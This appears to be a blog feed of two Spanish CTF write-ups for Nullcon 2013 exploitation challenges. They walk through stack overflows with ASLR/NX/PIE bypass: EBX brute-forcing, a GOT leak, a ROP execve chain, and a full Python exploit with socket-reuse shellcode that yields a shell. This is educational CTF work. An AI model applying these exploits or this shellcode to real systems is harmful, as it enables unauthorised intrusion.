tag:blogger.com,1999:blog-69113476458190858822024-03-05T06:14:47.351+01:00danigarguint 0x80;danigarguhttp://www.blogger.com/profile/00157285352437149889noreply@blogger.comBlogger4125tag:blogger.com,1999:blog-6911347645819085882.post-45283226117164255492013-04-10T23:05:00.000+02:002013-04-10T23:05:34.473+02:00Nullcon 2013 "Battle Underground" CTF - Exploitation 5
<p align="justify">
Tras resolver el <a href="http://danigargu.blogspot.com.es/2013/03/nullcon-2013-battle-underground-ctf.html" target="_blank">nivel 4 de Exploitation</a> propuesto en el <a href="http://ctf.nullcon.net">Nullcon 2013 Battle Underground CTF</a>, aún me quedaba pendiente el último nivel (Exploitation Question 5), que no pude resolver durante el CTF por falta de conocimiento y documentación sobre el tema.
</p>
<p align="justify">
Después me pase un tiempo buscando y probando cosas, pero al final lo deje como imposible. Hasta que hace ya unos días, me enteré (vía <a href="https://twitter.com/esanfelix/status/311924270857064448">Twitter</a>) que <a href="https://twitter.com/esanfelix" target="_blank">Eloi Sanfelix</a>, de <a href="http://www.int3pids.com">int3pids</a>, había publicado una <a href="http://www.limited-entropy.com/fusion-04-exploit-write-up" target="_blank">entrada</a> sobre cómo resolver el nivel 4 de la VM Fusion de <a href="http://exploit-exercises.com/" target="_blank">Exploit-Exercises</a>. Tras echarlo un ojo pude ver que su entorno de explotación se parecía bastante al mío (ASLR/NX/PIE), así que me puse a estudiar su caso. Al rato me di cuenta de que la técnica que había usado para evadir PIC/PIE la podía aplicar de la misma forma, pudiendo hacer luego una explotación mucho más sencilla con ROP.
</p>
<p align="justify">
Así que bueno, como ha sido una gran experiencia para mi lograr resolver esta prueba (aunque haya sido fuera de tiempo), en esta entrada trataré de explicar cómo resolverla. Pero no antes de dar a las gracias al crack de Eloi, que si no llega a ser por él, jamás la hubiese resuelto ;-D.
</p>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5jVIUTfUvjKu5nMq6aUgzo-O9EplK1MlXtEsRDNjqVRpkeqvXqOi-FgLo98x4Pb7JQsrOLkuw4pGHStvO2Bt3ovhoPYgPBIncCQkB4ElLlmz4UUp9P0_IWN1R2dZfVrMv_hb1gjkXH1c/s1600/exploitation5.png" imageanchor="1" ><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5jVIUTfUvjKu5nMq6aUgzo-O9EplK1MlXtEsRDNjqVRpkeqvXqOi-FgLo98x4Pb7JQsrOLkuw4pGHStvO2Bt3ovhoPYgPBIncCQkB4ElLlmz4UUp9P0_IWN1R2dZfVrMv_hb1gjkXH1c/s320/exploitation5.png" /></a>
</div>
<div class="separator" style="clear: both; text-align: center;">
<b>Figura 1. Descripción de la prueba.</b>
</div>
<p align="justify">
Al igual que la <a href="http://danigargu.blogspot.com.es/2013/03/nullcon-2013-battle-underground-ctf.html">prueba anterior</a>, consiste en explotar un daemon que corre en el puerto <b>6666</b> del host <b>nullcon-e3.no-ip.org</b> con el fin de obtener la <i>key</i> que da por solucionado el nivel. Para poder llevar a cabo la explotación, se nos proporciona el binario del daemon en cuestión.
</p>
<p align="justify">
<i>Descarga: <a href="https://sites.google.com/site/danigargu/binarios/nullcon_exploitation_5.tar.bz2" target="_blank">Exploitation 5</a><br />
MD5: 02c029857ac8049f829a0f29c6d9df5b</i>
</p>
<p align="justify">
<b>Identificación del binario</b>
</p>
<pre class="brush: plain; gutter: false;">
$ file server5
server5: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, BuildID[sha1]=584bb50ebb2e97e8ebb0fbaf03b69f86b11a8966, not stripped
</pre>
<p align="justify">
Se trata de un objeto compartido en formato ELF para Linux, arquitectura i386, utiliza enlace dinámico y no se encuentra stripped, por lo que los símbolos que genera el compilador no han sido eliminados.
</p>
<p align="justify">
<b>Protecciones</b>
</p>
<pre class="brush: plain; gutter: false;">
$ /tools/exploiting/checksec.sh --file server5
RELRO STACK CANARY NX PIE FILE
Partial RELRO No canary found NX enabled PIE enabled server5
</pre>
<p align="justify">
Aquí es donde nos encontramos el mayor de los problemas; el binario está compilado con PIC/PIE (<a href="http://en.wikipedia.org/wiki/Position-independent_code" target="_blank">Position-independent executables</a>). Esto quiere decir que puede ser localizado en cualquier lugar de la memoria, y aun así ser ejecutado correctamente sin modificarse, independientemente de su dirección absoluta. De esta forma, y con el apoyo de ASLR, sus direcciones varían en cada ejecución, haciendo que sea más difícil la explotación con ROP.
</p>
<p align="justify">
Por lo tanto, las protecciones a evadir en esta explotación son: <b>ASLR, NX y PIE</b>.
</p>
<p align="justify">
<b>Vulnerabilidad</b>
</p>
<pre class="brush: cpp; highlight: [5,13,22];">
//----- (00000AFE) --------------------------------------------------------
signed int __cdecl main()
{
[...]
len = recv(socket_fd, &user, 0x270Fu, 0);
if ( (signed int)len <= 0 )
{
perror("recv error:");
exit(1);
}
printf("received %d bytes", len);
*((_BYTE *)&user + len) = 0;
check_user(&user, len);
[...]
}
int __cdecl check_user(const void *user, size_t len)
{
int buff; // [sp+1Ch] [bp-1Ch]@1
memset(&buff, 0, 0x14u);
memcpy(&buff, user, len);
return 0;
}
size_t __cdecl check_password(const char *passwd)
{
return strlen(a1);
}
</pre>
<p align="justify">
La vulnerabilidad se ve rápidamente tras un pequeño análisis. Cuando el programa solicita el login al cliente, recibe hasta un máximo de 0x270F bytes. Luego, cuando el login es recibido, se lo pasa a la función <b>check_user()</b>, la cual copia su contenido en otro buffer local sin comprobar su tamaño, dando lugar a un <i>stack-based overflow</i>.
</p>
<pre class="brush: bash; gutter: false;">
$ nc 127.0.0.1 6666
Welcome to International Banking System Inc
Enter login: danigargu
Password: 12345
$ nc 127.0.0.1 6666
Welcome to International Banking System Inc
Enter login: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
$
</pre>
<p align="justify">
Si verificamos con GDB cuándo se sobreescribe la dirección de retorno, vemos que lo hace a partir del offset 32 de la cadena enviada. Luego, si echamos un ojo a los registros, podemos ver que además de EBP y EIP, <b>EBX</b> también es alterado.
</p>
<pre class="brush: bash; gutter: false; highlight: [2];">
(gdb) i r ebx ebp eip
ebx 0x41386141 1094213953
ebp 0x62413961 0x62413961
eip 0x31624130 0x3162413
</pre>
<p align="justify">
<u>¿Por qué EBX?</u>
</p>
<p align="justify">
Esto se debe a que los epílogos de función en los binarios compilados con PIE añaden un "pop ebx". De esta manera almacenan en el registro EBX la dirección de carga del binario más un desplazamiento, usándolo luego para el tema del código independiente de la posición.
</p>
<pre class="brush: bash; gutter: false; highlight: [1];">
10ab: 5b pop ebx
10ac: 89 ec mov esp,ebp
10ae: 5d pop ebp
10af: c3 ret
</pre>
<p align="justify">
<u>¿Para qué nos puede servir la dirección de EBX?</u>
</p>
<p align="justify">
Como mantiene la dirección de carga más un desplazamiento, si obtenemos esta dirección de alguna forma y la restamos el desplazamiento calculado, obtendremos la dirección de carga del binario de forma dinámica, pudiendo hacer luego llamadas a donde queramos.
</p>
<pre class="brush: plain; gutter: false; highlight: [3,7,10,13];">
Breakpoint 1, 0xf77fca7b in check_user ()
(gdb) i r ebx
ebx 0xf7772ff4 -143183884
(gdb) info proc stat
...
Start of text: 0xf7770000
(gdb) p /x $ebx-0xf7770000
$1 = 0x2ff4
(gdb) p /x $ebx-0x2ff4
$2 = 0xf7770000 ---> Comienzo sección .text
</pre>
<p align="justify">
Por desgracia, al realizar la explotación pisamos esta dirección, así que tenemos que encontrar alguna forma de obtenerla. Como sabemos que comienza a sobrescribirse en el offset 24 (32 - 4*2), podemos lanzar algunas pruebas.
</p>
<pre class="brush: plain; gutter: false; highlight: [3,8,13];">
$ perl -e 'print "A" x 24 . "B"' | nc 127.0.0.1 6666
Welcome to International Banking System Inc
Enter login:
$
$ perl -e 'print "A" x 24 . "\xf4"' | nc 127.0.0.1 6666
Welcome to International Banking System Inc
Enter login: Password:
$
$ perl -e 'print "A" x 24 . "\xf4\x2f"' | nc 127.0.0.1 6666
Welcome to International Banking System Inc
Enter login: Password:
$
</pre>
<p align="justify">
Si sobrescribimos la dirección con los bytes correctos, se nos solicita el password, en cambio, si lo hacemos con los incorrectos, solo se nos solicita el login. En base a esto podemos obtener el valor de EBX byte a byte usando fuerza bruta, aprovechando para ello parte del código de Eloi.
</p>
<pre class="brush: python;">
def find_ebx():
ebx = ""
s = get_connection(host, port)
base_resp = send_user(s, "xXx") # Response: 'Password: '
print "[*] Base response: " + repr(base_resp)
s.close()
while len(ebx)<4:
for i in xrange(0,256):
# skip 0xac --> BAD BYTE!!
if i == 172:
continue
try:
s = get_connection(host, port)
resp = send_user(s, padding + ebx + chr(i))
s.close()
if resp == base_resp:
ebx = ebx + chr(i)
print "[*] EBX value is 0x%s" % ebx[::-1].encode("hex")
break
except socket.error:
#print "socket error"
pass
if i==255:
print "[*] Could not discover ebx value. Exploit failed."
sys.exit(-1)
return ebx
</pre>
<p align="justify">
Teniendo el valor de EBX, solo tenemos que restarle <b>0x2ff4</b> para calcular la base del binario.
</p>
<pre class="brush: python;">
ebx = find_ebx()
base = u(ebx)[0] - 0x2ff4
</pre>
<p align="justify">
Con esto podemos comenzar a construir el payload ROP, pero como el binario no dispone de muchos gadgets, lo haremos directamente desde la libc.
</p>
<p align="justify">
Como necesitamos obtener la dirección base de la libc para el payload ROP, aprovechamos la entrada <b>send</b> de la PLT para enviarnos por el socket la dirección de la función almacenada en la primera entrada de la GOT (sigemptyset).
</p>
<pre class="brush: python;">
send_plt = p(base + 0x8c4) # send PLT entry
got_base = p(base + 0x3000) # GOT start
# get address of sigemptyset from the libc
send = send_plt # send()
send += "AAAA" # RET
send += p(4) # int sockfd
send += got_base # const void *buf
send += p(4) # size_t len
send += p(0) # int flags
s = get_connection(host, port)
resp = send_user(s, padding + ebx + "AAAA" + send)
s.close()
</pre>
<p align="justify">
Una vez recibida la dirección, la restamos el offset que ocupa en la libc, obteniendo así su dirección base.
</p>
<pre class="brush: plain; gutter: false; highlight: [2];">
$ objdump -T /lib/i386-linux-gnu/i686/cmov/libc.so.6 | egrep 'sigemptyset'
0002b390 g DF .text 0000004c GLIBC_2.0 sigemptyset
</pre>
<pre class="brush: python;">
libc = u(resp[:4])[0] - 0x2b390
</pre>
<p align="justify">
Teniendo esto, ya podemos generar un payload ROP <b>execve("/bin/sh")</b> con <a href="https://github.com/JonathanSalwan/ROPgadget" target="_blank">ROPGadget</a>:
</p>
<pre class="brush: plain; gutter: false; highlight: [2];">
$ ROPgadget /lib/i386-linux-gnu/i686/cmov/libc.so.6
</pre>
<p align="justify">
Después de hacer unos pequeños cambios, el payload queda así:
</p>
<pre class="brush: python;">
# Generated by ROPgadget 4.0
# execve("/bin//sh", ["/bin/sh", NULL], [NULL])
rop += p(libc + 0x00001a9e) # pop %edx ; ret
rop += p(libc + 0x0015f9a0) # @ .data
rop += p(libc + 0x00020aec) # pop %eax ; ret
rop += "/bin" # /bin
rop += p(libc + 0x00091e8e) # mov %eax,(%edx) ; pop %ebp ; ret
rop += "AAAA" # padding
rop += p(libc + 0x00001a9e) # pop %edx ; ret
rop += p(libc + 0x0015f9a4) # @ .data + 4
rop += p(libc + 0x00020aec) # pop %eax ; ret
rop += "/shA" # /shA
rop += p(libc + 0x00091e8e) # mov %eax,(%edx) ; pop %ebp ; ret
rop += "AAAA" # padding
rop += p(libc + 0x00001a9e) # pop %edx ; ret
rop += p(libc + 0x0015f9a7) # @ .data + 7
rop += p(libc + 0x0003c98e) # xor %eax,%eax ; ret
rop += p(libc + 0x00091e8e) # mov %eax,(%edx) ; pop %ebp ; ret
rop += "AAAA" # padding
rop += p(libc + 0x00078af4) # pop %ebx ; ret
rop += p(libc + 0x0015f9a0) # @ .data
rop += p(libc + 0x000e2c01) # pop %edx ; pop %ecx ; pop %ebx ; ret
rop += "AAAA" # padding
rop += p(libc + 0x0015f9a7) # @ .data + 7
rop += p(libc + 0x0015f9a0) # @ .data ---> wrong padding!!
rop += p(libc + 0x00001a9e) # pop %edx ; ret
rop += p(libc + 0x0015f9a7) # @ .data + 7
# small change
rop += p(libc + 0x00020aec) # pop eax ; ret
rop += p(0xb) # execve syscall
rop += p(libc + 0x0002a9d5) # int $0x80
</pre>
<p align="justify">
Hay que tener en cuenta que para poder interactuar con la shell abierta, necesitamos hacer antes un duplicado del descriptor del socket del cliente (4) a los tres descriptores estándar (0-STDIN, 1-STDOUT, 2-STDERR). Para ello, aprovechamos que tenemos la dirección base de la libc para hacer un <i>ret2libc</i> con <b>dup2</b>.
</p>
<pre class="brush: python;">
# dup2(4,0)
rop = p(libc + 0x000c6c90) # dup2
rop += p(libc + 0x0002c0f5) # pop esi ; pop edi ; ret --> clean args
rop += p(4) # int oldfd
rop += p(0) # int newfd
# dup2(4,1)
rop += p(libc + 0x000c6c90) # dup2
rop += p(libc + 0x0002c0f5) # pop esi ; pop edi ; ret --> clean args
rop += p(4) # int oldfd
rop += p(1) # int newfd
# dup2(4,2)
rop += p(libc + 0x000c6c90) # dup2
rop += p(libc + 0x0002c0f5) # pop esi ; pop edi ; ret --> clean args
rop += p(4) # int oldfd
rop += p(2) # int newfd
</pre>
<p align="justify">
Teniendo la bomba armada, la lanzamos:
</p>
<pre class="brush: plain; gutter: false; ">
$ python exploit_nullcon2013_exploitation_5.py
[*] Base response: 'Password: '
[*] EBX value is 0xf4
[*] EBX value is 0x8ff4
[*] EBX value is 0x7c8ff4
[*] EBX value is 0xf77c8ff4
[*] Binary base: 0xf77c6000
[*] PLT entry for 'send' @ 0xf77c68c4
[*] GOT start @ 0xf77c9000
[*] Discovered libc base: 0xf7621000
[*] Launching ROP exploit
[+] SUCESS! We have a shell
$ whoami
dani
$
</pre>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ-SkMMASHOETlShDoQ1ONQwVgA8WA26aynnO8j7UfRkDdbLeuwj4ZkmUqgRUo1Z_vtqAK7XKfGF-SGdoqlHQ-k34ztLlRUZs9EqXBcg9IJeY1BiUvcoJIAX55hxxbsJ2mJZOZs2bZDqE/s1600/exploitation5.png" imageanchor="1" ><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ-SkMMASHOETlShDoQ1ONQwVgA8WA26aynnO8j7UfRkDdbLeuwj4ZkmUqgRUo1Z_vtqAK7XKfGF-SGdoqlHQ-k34ztLlRUZs9EqXBcg9IJeY1BiUvcoJIAX55hxxbsJ2mJZOZs2bZDqE/s320/exploitation5.png" /></a>
</div>
<div class="separator" style="clear: both; text-align: center;">
<b>Figura 2. Ejecución del exploit.</b>
</div>
<p align="justify">
¡FUNCIONA! Tenemos una shell ;-D<br />
</p>
<a href="https://sites.google.com/site/danigargu/exploits/exploit_nullcon2013_exploitation_5.py" target="_blank"><b>Descargar exploit</b></a>
<p align="justify">
Posiblemente este exploit no hubiese funcionado en la máquina real de la prueba debido al uso de una libc diferente a la nuestra, aunque seguramente la podríamos haber obtenido al explotar el nivel anterior. De todas formas, la idea queda bastante clara.
</p>
<p align="justify">
Y esto ha sido todo. Un saludo!
</p>danigarguhttp://www.blogger.com/profile/00157285352437149889noreply@blogger.com6tag:blogger.com,1999:blog-6911347645819085882.post-60963614057250156832013-03-13T16:49:00.000+01:002013-03-14T02:53:51.380+01:00Nullcon 2013 "Battle Underground" CTF - Exploitation 4<p align="justify">
Hace ya unos días estuve "echando un ojo" junto con <a href="https://twitter.com/civantoz" target="_blank">Javier Civantos</a> (colega de <a href="http://www.w3b0n3s.com" target="_blank">w3b0n3s</a>) a los niveles propuestos en el <a href="http://ctf.nullcon.net/">CTF Battle Underground</a> de la <a href="http://www.nullcon.net/">Nullcon</a>. En él había 5 categorias de 5 pruebas cada una, compuestas de: programación, criptografía, ingeniería inversa, explotación y otros tipos (miscellaneous). Cada prueba, según el nivel de dificultad, sumaba 100, 200, 300 o 400 puntos. Aunque no pudimos resolver muchas debido al nivel de dificultad y duración del CTF, una de las que más me entretuvo fue <b>Exploitation 4</b>, de 200 puntos.</p>
<p align="justify">
En esta entrada trataré de exponer los pasos que llevé a cabo para resolverla.
</p>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirJWAUW86U31uYXVW6o7Sr2MKj4L_OS1vPifjMjyeFXEoVs5khFO8AiPSoO2hPSo0i3dgi3OFMYYMUoGHTdlNx3pUL7jXV9sJJo4wfPrgLUzbwNYMGlkH2gnvqilNALFGYCL3TQfh3EtY/s1600/exploitation4.png" imageanchor="1" ><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirJWAUW86U31uYXVW6o7Sr2MKj4L_OS1vPifjMjyeFXEoVs5khFO8AiPSoO2hPSo0i3dgi3OFMYYMUoGHTdlNx3pUL7jXV9sJJo4wfPrgLUzbwNYMGlkH2gnvqilNALFGYCL3TQfh3EtY/s320/exploitation4.png" /></a>
</div>
<div class="separator" style="clear: both; text-align: center;">
<b>Figura 1. Descripción de la prueba.</b>
</div>
<p align="justify">
Como vemos en la imagen, la prueba consiste en explotar un daemon que corre en el puerto <b>6791</b> del host <b>nullcon-e3.no-ip.org</b> con el fin de obtener la <i>key</i> que da por solucionado el nivel. Para poder llevar a cabo la explotación, se nos proporciona el binario del daemon en cuestión.
</p>
<p align="justify">
<i>Descarga: <a href="https://sites.google.com/site/danigargu/binarios/nullcon_exploitation_4.tar.bz2" target="_blank">Exploitation 4</a><br />
MD5: cd996acf35840d21a4062764511f10d2</i>
</p>
<p align="justify">
<b>Identificación del binario</b>
</p>
<p align="justify">
Una vez descargado el binario, nos interesa obtener información de él, por lo que usamos el comando <b>file</b>.
</p>
<pre class="brush: plain; gutter: false;">
$ file srv
srv: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, BuildID[sha1]=0xf76710059fef89b0cc25d5847ed47913aa9bd3ce, stripped
</pre>
<p align="justify">
Como se observa, es un ejecutable en formato ELF para Linux, arquitectura i386, utiliza enlace dinámico y se encuentra "stripped", que quiere decir que los símbolos que genera el compilador (p.e, nombres de las funciones) han sido eliminados.
</p>
<p align="justify">
Una vez identificado el binario, es útil saber las protecciones implementa. Para ello usamos la herramienta checksec.
</p>
<pre class="brush: plain; gutter: false;">
$ /tools/exploiting/checksec.sh --file srv
RELRO STACK CANARY NX PIE FILE
Partial RELRO No canary found NX disabled No PIE srv
</pre>
<p align="justify">
Por suerte, el binario no implementa ninguna protección considerable, aunque no sabemos si la máquina donde está corriendo tiene ASLR activado.
</p>
<p align="justify">
Tras ejecutar el binario, se queda en el puerto 6791 a la espera de conexiones. Si realizamos una, nos manda ingresar una identificación para registrarnos con el sistema.
</p>
<pre class="brush: bash; gutter: false;">
$ ncat 127.0.0.1 6791
Enter Identification to register with the system: Dani
First name not found
$ ncat 127.0.0.1 6791
Enter Identification to register with the system: Dani Gar
First name not found
</pre>
<p align="justify">
Enviemos el contenido que enviemos, el servidor siempre nos devuelve "First name not found", por lo que nos toca hacer ingeniería inversa al binario para saber qué hace en realidad.
</p>
<p align="justify">
Después de pasar un rato haciendo un pequeño análisis con IDA, podemos ver que la función que procesa la cadena que enviamos hace algo como lo siguiente:
</p>
<pre class="brush: cpp; highlight: [19,48,49];">
//----- (0804887C) --------------------------------------------------------
ssize_t __cdecl comprobarCadena(int fd, char *cadena)
{
size_t v2; // eax@6
char resto; // [sp+18h] [bp-140h]@1
char nombre; // [sp+7Ch] [bp-DCh]@1
char apellido; // [sp+E0h] [bp-78h]@1
char *encontrado; // [sp+144h] [bp-14h]@1
char *src; // [sp+148h] [bp-10h]@1
void *msgEnviar; // [sp+14Ch] [bp-Ch]@2
memset(&nombre, 0, 0x64u);
memset(&apellido1, 0, 0x64u);
memset(&apellido2, 0, 0x64u);
src = cadena;
// Busca en cadena la primera aparición de dos puntos (:)
encontrado = strchr(cadena, 58);
if ( encontrado )
{
// Coloca un nulo donde ha encontrado los dos puntos e incrementa
*encontrado++ = 0;
// Copia el nombre (hasta llegar al nulo), con un máximo de 0x63 bytes
strncpy(&nombre, src, 0x63u);
// Ahora src apunta al primer apellido
src = encontrado;
// Busca la siguiente aparición de dos puntos (segundo apellido)
encontrado = strchr(encontrado, 58);
// Si lo encuentra...
if ( encontrado )
{
// Coloca un nulo donde ha encontrado los dos puntos e incrementa
*encontrado++ = 0;
// Copia el primer apellido
strncpy(&apellido1, src, 0x63u);
// Apunta src al segundo apellido
src = encontrado;
// Copia en apellido2 el resto (sin limites??)
strcpy(&apellido2, encontrado);
// Sustituye los bytes 0x0A (\n), 0x0D (\r), 0x20 (ESPACE) por nulos
filtrarCaracteres(&nombre);
filtrarCaracteres(&apellido1);
filtrarCaracteres(&apellido2);
msgEnviar = "Thank you ;)\n";
}
else
msgEnviar = "Last name not found\n";
}
else
msgEnviar = "First name not found\n";
v2 = strlen((const char *)msgEnviar);
return send(fd, msgEnviar, v2, 0);
}
</pre>
<p align="justify">
Con esto las cosas quedan bastante más claras. Como se ve, la función que comprueba el mensaje que enviamos, requiere que la cadena a enviar esté dividida por dobles puntos (:). Una vez es recibida, la parte en 3 trozos (nombre, primer apellido y segundo apellido) y copia cada uno ellos en un buffer distinto con la función <i>str<b>n</b>cpy</i>, a diferencia del tercer trozo, que es copiado con <i><b>strcpy</b></i> (sin limites). He aquí el <b>stack overflow</b>.
</p>
<pre class="brush: bash; gutter: false;">
$ ncat 127.0.0.1 6791
Enter Identification to register with the system: NOMBRE:APELLIDO1:APELLIDO2
Thank you ;)
</pre>
<p align="justify">
Enviando la identificación correctamente nos devuelve un "Thank you ;)". ¡¡A EXPLOTAR!!
</p>
<pre class="brush: bash; gutter: false;">
$ echo A:B:$(/tools/exploiting/pattern_create.rb 150) | ncat 127.0.0.1 6791
Enter Identification to register with the system:
</pre>
<p align="justify">
Después de enviar la cadena de caracteres aleatorios generada con <i>pattern_create</i>, si echamos un ojo a los logs del sistema (<i>/var/log/messages</i>), podemos ver que se ha detectado una violación de segmento (segfault) en el proceso "srv" al no poder acceder a la dirección <b>0x65413165</b> (parte de nuestra cadena), por lo que hemos sobreescrito la dirección de retorno.
</p>
<pre class="brush: bash; gutter: false;">
srv[10269]: segfault at 65413165 ip 0000000065413165 sp
</pre>
<pre class="brush: bash; gutter: false;">
$ /tools/exploiting/pattern_offset.rb 65413165
[*] Exact match at offset 124
</pre>
<p align="justify">
Con <i>pattern_offset</i> vemos que comienza a sobreescribirse después del byte 124.
</p>
<p align="justify">
Ahora sólo nos quedaría enviar un shellcode y saltar hacia él, pero como no sabemos si el server tiene ASLR activado, vamos a tratar buscar con <i>msfelfscan</i> alguna instrucción de salto al registro ESP, de forma que podamos saltárnoslo utilizando una técnica <i>ret2reg</i>.
</p>
<p align="justify">
<i><b>NOTA:</b> Para no alargar demasiado la entrada, si queréis saber más sobre técnicas ret2reg podéis echar un ojo a la sección de <a href="http://www.overflowedminds.net/papers.php" target="_blank">Papers</a> de la gran comunidad <b><a href="http://www.overflowedminds.net/" target="_blank">OverflowedMinds</a></b>, en que la podéis encontrar unos excelentes documentos sobre bypass de ASLR por parte de <a href="http://www.vlan7.org/" target="_blank">vlan7</a>.</i>
</p>
<pre class="brush: bash; gutter: false;">
$ /tools/exploits/msf4/msfelfscan -j esp srv
[srv]
0x08048827 jmp esp
</pre>
<p align="justify">
Perfecto, en la dirección 0x08048827 ha encontrado un "jmp esp". Ahora la idea es colocar el shellcode justo después de la dirección de retorno a escribir.
</p>
<pre class="brush: plain; gutter: false;">
[ RELLENO - 124 bytes ] [ RET - JMP ESP ] [ SHELLCODE ]
</pre>
<p align="justify">
Para comprobar que en el momento que la dirección de retorno es sobreescrita, ESP apunta a la continuación de los datos que hemos enviado, lanzamos lo siguiente mientras en otra ventana seguimos a los procesos secundarios de srv con GDB.
</p>
<pre class="brush: plain; gutter: false;">
$ perl -e 'print "B:B:" . "A"x128 . "B"x100' | ncat 127.0.0.1 6791
Enter Identification to register with the system:
</pre>
<pre class="brush: plain; gutter: false; highlight: [2,4,12,13,21,24,26];">
$ gdb -q
(gdb) shell pgrep srv
5578
(gdb) attach 5578
Attaching to process 5578
Reading symbols from /home/dani/nullcon/exploitation_4/srv...(no debugging symbols found)...done.
Reading symbols from /lib/i386-linux-gnu/i686/cmov/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xf771e430 in __kernel_vsyscall ()
(gdb) set follow-fork-mode child
(gdb) c
Continuing.
[New process 5735]
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 5735]
0x41414141 in ?? ()
(gdb) i r esp
esp 0xffe73c00 0xffe73c00
(gdb) x/104xb $esp-8
0xffe73bf8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffe73c00: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42 ---> ESP
0xffe73c08: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c10: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c18: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c20: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c28: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c30: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c38: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c40: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c48: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c50: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c58: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
(gdb)
</pre>
<p align="justify">
Como vemos, después de sobreescribirse la dirección de retorno, ESP apunta al resto de datos enviados, por lo que ahí alojaremos la shellcode para luego saltar hacia ella con el "jmp esp", y de esta forma evadir el ASLR.
</p>
<p align="justify">
Teniendo todos estos datos, sólo nos queda hacer un pequeño exploit.
</p>
<p align="justify">
<i><b>NOTA:</b> Debido a diversos problemas durante la explotación, me vi obligado a usar una shellcode que rehusara el socket del cliente, duplicando su descriptor (4) en STDIN (0), STDOUT (1) y STDERR (2) con un <b>dup2</b>, y luego ejecutara un <b>execve("/bin/sh", 0, 0)</b>, pudiendo de esta forma interactuar con el shell abierto a través del socket.</i>
</p>
<p align="justify">
Si os interesa saber más sobre el shellcode, podéis descargar el código en ensamblador desde <a href="https://sites.google.com/site/danigargu/shellcodes/socket_reuse.s" target="_blank">aquí</a>.
</p>
<p>
<b><a href="https://sites.google.com/site/danigargu/exploits/exploit_nullcon2013_exploitation_4.py" target="_blank">Descargar exploit</a></b>
</p>
<pre class="brush: python;">
#!/usr/bin/python
#
# NullCon 2013 CTF - Battle Underground
# Exploitation 4 - 200 points (ASLR)
# danigargu @ w3b0n3s - http://danigargu.blogspot.com/
# Flag: 794fc8e2576887bedd36b20757a533a3
#
import os
import sys
import time
from socket import *
from struct import pack
p = lambda x : pack("<L" , x)
s = socket(AF_INET, SOCK_STREAM)
#s.connect(('127.0.0.1', 6791))
s.connect(('nullcon-e3.no-ip.org', 6791))
junk = "B:B:" + "A"*124
jmp_esp = p(0x08048827) # jmp esp
fd = 4 # socket client fd
payload = jmp_esp
# shellcode - socket reuse
# dup2(4,0) & dup2(4,1) & dup2(4,2) & execve("/bin/sh", 0, 0)
payload += ("\x31\xc9\x31\xdb\xb3" + chr(fd) + "\x6a\x3f\x58\xcd\x80"
"\x41\x80\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80")
s.recv(255)
s.send(junk + payload)
time.sleep(0.5)
# interact with the shell
while True:
try:
sys.stdout.write("$ ")
sys.stdout.flush()
c = sys.stdin.readline()
s.send(c)
time.sleep(0.5)
sys.stdout.write(s.recv(4095))
except KeyboardInterrupt, e:
break
</pre>
<p align="justify">
Tras ejecutar el exploit vemos que podemos ejecutar comandos en la máquina de la prueba, descubriendo de esta forma el fichero <i>key.txt</i> que se encuentra en la raíz, con el que a partir de su contenido podemos dar por solucionada la prueba ;-D
</p>
<pre class="brush: plain; gutter: false; highlight: [2,4,6,8];">
dani@debian:~/nullcon$ python exploit.py
$ pwd
/
$ ls
/bin//sh: 2: ls: not found
$ echo *
bin etc key.txt lib srv var
$ cat key.txt
794fc8e2576887bedd36b20757a533a3
$
</pre>
<p align="justify">
<b>FLAG:</b> 794fc8e2576887bedd36b20757a533a3
</p>
<p align="justify">
Un saludo!
</p>danigarguhttp://www.blogger.com/profile/00157285352437149889noreply@blogger.com8tag:blogger.com,1999:blog-6911347645819085882.post-32734082927726611172013-02-05T21:53:00.000+01:002013-02-05T21:53:46.820+01:00GOT Dereferencing / Overwriting - ASLR/NX Bypass (Linux)<p align="justify">
